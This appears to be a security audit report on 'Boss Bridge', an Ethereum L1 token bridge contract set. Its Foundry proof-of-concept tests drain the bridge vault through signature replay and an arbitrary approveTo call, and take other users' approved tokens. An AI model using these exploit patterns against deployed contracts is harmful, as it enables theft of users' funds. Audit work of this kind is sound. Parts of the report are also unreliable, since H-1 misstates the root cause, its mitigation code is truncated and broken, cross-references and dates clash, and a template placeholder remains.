# Boss Bridge Audit Report

Nadia Mahyaee

October 12, 2023

# Boss Bridge Initial Audit Report

Version 0.1

*Cyfrin.io*

October 12, 2024

# Boss Bridge Audit Report

Nadia Mahyaee

October 12, 2023

## Boss Bridge Audit Report

Prepared by: YOUR_NAME_HERE Lead Auditors:

- Nadia Mahyaee

Assisting Auditors:

- None

## Disclaimer

The Nadia Mahyaee team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

## Risk Classification

| | | Impact | | |
|---|---|---|---|---|
| | | High | Medium | Low |
| | High | H | H/M | M |
| Likelihood | Medium | H/M | M | M/L |
| | Low | M | M/L | L |

## Audit Details

**The findings described in this document correspond the following commit hash:**

07af21653ab3e8a8362bf5f63eb058047f562375

### Scope

```
#-- src
|   #-- L1BossBridge.sol
|   #-- L1Token.sol
|   #-- L1Vault.sol
|   #-- TokenFactory.sol
```

## Protocol Summary

The Boss Bridge is a bridging mechanism to move an ERC20 token (the "Boss Bridge Token" or "BBT") from L1 to an L2 the development team claims to be building. Because the L2 part of the bridge is under construction, it was not included in the reviewed codebase.

The bridge is intended to allow users to deposit tokens, which are to be held in a vault contract on L1. Successful deposits should trigger an event that an off-chain mechanism is in charge of detecting to mint the corresponding tokens on the L2 side of the bridge.

Withdrawals must be approved operators (or "signers"). Essentially they are expected to be one or more off-chain services where users request withdrawals, and that should verify requests before signing the data users must use to withdraw their tokens. It's worth highlighting that there's little-to-no on-chain mechanism to verify withdrawals, other than the operator's signature. So the Boss Bridge heavily relies on having robust, reliable and always available operators to approve withdrawals. Any rogue operator or compromised signing key may put at risk the entire protocol.

### Roles

- Bridge owner: can pause and unpause withdrawals in the L1BossBridge contract. Also, can add and remove operators. Rogue owners or compromised keys may put at risk all bridge funds.
- User: Accounts that hold BBT tokens and use the L1BossBridge contract to deposit and withdraw them.
- Operator: Accounts approved by the bridge owner that can sign withdrawal operations. Rogue operators or compromised keys may put at risk all bridge funds.

## Executive Summary

### Issues found

| Severity | Number of issues found |
|---|---|
| High | 4 |
| Medium | 1 |
| Low | 1 |
| Info | 0 |
| Gas | 0 |
| Total | 6 |

# Findings

**[H-1] Signature Replay attacker causes protocol to loose money.**

**Description:** The protocol provides the process of tranfering tokens from L1 to L2; this process contains uses ECDSA to sign message and send the transaction. The ECDSA gets the privateKey and the encoded message and uses Eliptic Curve Digital Signature Algorithm to hash it and gives the v, r and s. In the L1BossBridge.sol protocol is actually saving the v, r and s on chain which is a high sensitive data; saving v, r and s on chain allows an attacker to use this data and steal all the money.

**Impact:** By saving v, r and s on chain an attacker can steal all the vault's money.

**Proof of Concept:**

Proof of Code

Put this piece of code in L1TokenBridge.t.sol:

```
    function testSignatureReplay() public {
        address attacker = makeAddr("attacker");

        uint256 vaultInitialBalance = 1000e18;
        uint256 attackerInitialBalance = 100e18;

        deal(address(token), address(vault), vaultInitialBalance);
        deal(address(token), address(attacker), attackerInitialBalance);

        vm.startPrank(attacker);
        token.approve(address(tokenBridge), type(uint256).max);
        tokenBridge.depositTokensToL2(
            attacker,
            attacker,
            attackerInitialBalance
        );

        bytes memory message = abi.encode(
```

```
            address(token),
            0,
            abi.encodeCall(
                IERC20.transferFrom,
                (address(vault), attacker, attackerInitialBalance)
            )
        );

        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
            operator.key,
            MessageHashUtils.toEthSignedMessageHash(keccak256(message))
        );

        while (token.balanceOf(address(vault)) > 0) {
            tokenBridge.withdrawTokensToL1(
                attacker,
                attackerInitialBalance,
                v,
                r,
                s
            );
        }

        assertEq(
            token.balanceOf(address(attacker)),
            attackerInitialBalance + vaultInitialBalance
        );
        assertEq(token.balanceOf(address(vault)), 0);
    }
```

**Recommended Mitigation:**

To prevent this attack the protocol should use some one time use data to prevent replay of the signature.

In L1BossBridge::sendTokenL1 use more uint parameter to prevent reuse of signature like:

1. Nonce
2. Deadline

```
-    function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message)
+    function sendToL1(uint8 v, bytes32 r, bytes32 s, uint256 deadline, bytes mem
+    function sendToL1(uint8 v, bytes32 r, bytes32 s, uint8 nonce bytes memory me
```

**[H-2] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds.**

**Description:**

The L1BossBridge contract includes the sendToL1 function that, if called with a valid signature by an operator, can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the L1Vault contract.

The L1BossBridge contract owns the L1Vault contract. Therefore, an attacker could submit a call that targets the vault and executes is approveTo function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

**Proof of Concept:**

To reproduce, include the following test in the L1BossBridge.t.sol file:

Proof of code

```
function testCanCallVaultApproveFromBridgeAndDrainVault() public {
    uint256 vaultInitialBalance = 1000e18;
    deal(address(token), address(vault), vaultInitialBalance);

    vm.startPrank(attacker);
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(attacker), address(0), 0);
    tokenBridge.depositTokensToL2(attacker, address(0), 0);

    bytes memory message = abi.encode(
        address(vault),
        0,
        abi.encodeCall(
            L1Vault.approveTo,
            (address(attacker), type(uint256).max)
        )
    );
    (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key);

    tokenBridge.sendToL1(v, r, s, message);
    assertEq(token.allowance(address(vault), attacker), type(uint256).max);
    token.transferFrom(
        address(vault),
        attacker,
        token.balanceOf(address(vault))
    );
```

```
    }
```

**[H-3] Users who give tokens approvals to `L1BossBridge` may have those assest stolen**

The depositTokensToL2 function allows anyone to call it with a from address of any account that has approved tokens to the bridge.

As a consequence, an attacker can move tokens out of any victim account whose token allowance to the bridge is greater than zero. This will move the tokens into the bridge vault, and assign them to the attacker's address in L2 (setting an attacker-controlled address in the l2Recipient parameter).

As a PoC, include the following test in the L1BossBridge.t.sol file:

```
function testCanMoveApprovedTokensOfOtherUsers() public {
    vm.prank(user);
    token.approve(address(tokenBridge), type(uint256).max);

    uint256 depositAmount = token.balanceOf(user);
    vm.startPrank(attacker);
    vm.expectEmit(address(tokenBridge));
    emit Deposit(user, attackerInL2, depositAmount);
    tokenBridge.depositTokensToL2(user, attackerInL2, depositAmount);

    assertEq(token.balanceOf(user), 0);
    assertEq(token.balanceOf(address(vault)), depositAmount);
    vm.stopPrank();
}
```

Consider modifying the depositTokensToL2 function so that the caller cannot specify a from address.

```
- function depositTokensToL2(address from, address l2Recipient, uint256 amount)
+ function depositTokensToL2(address l2Recipient, uint256 amount) external whenN
    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }
-   token.transferFrom(from, address(vault), amount);
+   token.transferFrom(msg.sender, address(vault), amount);

    // Our off-chain service picks up this event and mints the corresponding tok
-   emit Deposit(from, l2Recipient, amount);
+   emit Deposit(msg.sender, l2Recipient, amount);
}
```

### [H-4] Calling `depositTokensToL2` from the Vault contract to the Vault contract allows infinite minting of unbacked tokens

depositTokensToL2 function allows the caller to specify the from address, from which tokens are taken.

Because the vault grants infinite approval to the bridge already (as can be seen in the contract's constructor), it's possible for an attacker to call the depositTokensToL2 function and transfer tokens from the vault to the vault itself. This would allow the attacker to trigger the Deposit event any number of times, presumably causing the minting of unbacked tokens in L2.

Additionally, they could mint all the tokens to themselves.

As a PoC, include the following test in the L1TokenBridge.t.sol file:

```
function testCanTransferFromVaultToVault() public {
    vm.startPrank(attacker);

    // assume the vault already holds some tokens
    uint256 vaultBalance = 500 ether;
    deal(address(token), address(vault), vaultBalance);

    // Can trigger the `Deposit` event self-transferring tokens in the vault
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(vault), address(vault), vaultBalance);
    tokenBridge.depositTokensToL2(address(vault), address(vault), vaultBalance);

    // Any number of times
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(vault), address(vault), vaultBalance);
    tokenBridge.depositTokensToL2(address(vault), address(vault), vaultBalance);

    vm.stopPrank();
}
```

As suggested in H-1, consider modifying the depositTokensToL2 function so that the caller cannot specify a from address.

### [M-1] `sendToL1` is unbanded on the size of message parameter which may cause protocol to spend so much gas.

**Description:**

In the L1BossBridge::sendToL1 the function gets message to decode it and recive the data and send the transaction. A malicious user can pass a massive data to message and cause the protocol to spend lost of gas to send transaction and causes the Gas Bomb attacker. The purpose is just to break the protocol.

**Recommended Mitigation:**

Use this solutions to prevent Gas Bomd attack:

1. Gas Limits on External Calls:

   Apply a gas limit to the external call to prevent excessive gas usage by the target contract “‘javascript (bool success, ) = target.call{value: value, gas: 200000}(data);

   “‘

2. Limit Data Size:

   Restrict the size of the message or data to prevent overly large or complex input that could lead to high gas consumption.

3. Use of staticcall:

   If the intent is to execute read-only operations, use staticcall instead of call to avoid triggering state-changing operations.

### [L-1] Event is missing `indexed` fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

2 Found Instances

- Found in src/L1BossBridge.sol Line: 40

  ```
  event Deposit(address from, address to, uint256 amount);
  ```

- Found in src/TokenFactory.sol Line: 14

  ```
  event TokenDeployed(string symbol, address addr);
  ```